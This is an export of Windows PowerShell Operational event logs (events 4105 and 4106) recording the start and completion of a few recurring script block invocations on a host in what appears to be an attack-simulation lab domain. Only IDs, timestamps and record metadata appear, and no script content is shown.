SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647963
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647962
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647961
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647960
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647959
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647958
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647957
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647976
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647975
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647974
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647973
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647972
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647971
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647970
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647969
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647968
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647967
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:32 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647986
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:32 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647985
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:32 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647984
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:32 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647983
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:32 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647982
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:32 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647981
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:32 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647980
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:32 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647979
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:32 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647978
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:32 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647977
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647996
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647995
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647994
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647993
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647992
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647991
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647990
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647989
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647988
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647987
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648006
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648005
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648004
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648003
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648002
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648001
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648000
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647999
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647998
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647997
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:47 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648016
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:47 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648015
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:47 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648014
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:47 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648013
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:47 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648012
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:47 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648011
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:47 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648010
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
